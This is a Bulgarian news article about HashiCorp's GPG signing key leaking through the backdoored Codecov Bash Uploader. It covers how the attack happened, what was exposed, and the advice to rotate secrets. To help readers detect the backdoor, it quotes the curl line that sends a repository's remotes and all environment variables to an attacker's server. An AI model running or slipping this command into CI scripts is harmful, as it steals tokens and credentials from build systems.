Компания HashiCorp, известна с разработката на отворени инструменти като Vagrant, Packer, Nomad и Terraform, обяви за изтичане на поверителен GPG ключ, използван за създаване на цифрови подписи, които потвърдяват изданията. Нападателите, получили достъп до GPG ключа, потенциално са могли да направят скрити промени в продуктите на HashiCorp, удостоверявайки ги с правилна цифрова подпис. При това компанията съобщи, че по време на проведения одит не са установени следи от опити за правене на подобни модификации.
В момента компрометираният GPG ключ е отзован и вместо него е въведен нов ключ. Проблемът засегна само верификацията с файловете SHA256SUM и SHA256SUM.sig и не обхвана създаването на цифрови подписи за Linux пакети DEB и RPM, предоставяни чрез releases.hashicorp.com, както и механизмите за потвърждение на изданията за macOS и Windows (AuthentiCode).
Изтичането стана поради използването в инфраструктурата на скрипта Codecov Bash Uploader (codecov-bash), предназначен за качване на отчети за покритие от системи за непрекъсната интеграция. По време на атаката срещу компанията Codecov, в посочения скрипт бе скрито внедрен бекдор, чрез който беше организирано изпращането на пароли и ключове за шифриране на сървър злоумышленников.
За хакването нападателите се възползваха от уязвимост в процеса на създаване на Docker образа на Codecov, позволяваща извличането на данни за достъп до GCS (Google Cloud Storage), необходими за правене на промени в скрипта Bash Uploader, разпространяван от сайта codecov.io. Промените бяха направени още на 31 януари, два месеца останаха незабелязани и позволяваха на злонамерените лица да извличат информация, съхранявана в средите на клиентските системи за непрекъсната интеграция. С помощта на добавения злонамерен код нападателите можеха да получат информация за тествания Git репозиториум и всички променливи на средата, включително токени, ключове за шифриране и пароли, предавани в системите за непрекъсната интеграция за организиране на достъп до кода на приложенията, хранилищата и услуги като Amazon Web Services и GitHub.
Освен директното извикване, скриптът Codecov Bash Uploader е използван и в други качващи инструменти, като Codecov-action (Github), Codecov-circleci-orb и Codecov-bitrise-step, на потребителите на които също е наложена същата проблема. Препоръчва се на всички потребители на codecov-bash и свързаните с него продукти да извършат одит на инфраструктурите си и да сменят паролите и ключовете за криптиране. Наличието на бекдор в скрипта може да бъде проверено по присъствието на следния ред: curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http://<IP на атакуващия сървър>/upload/v2 || true
Източник: opennet.ru
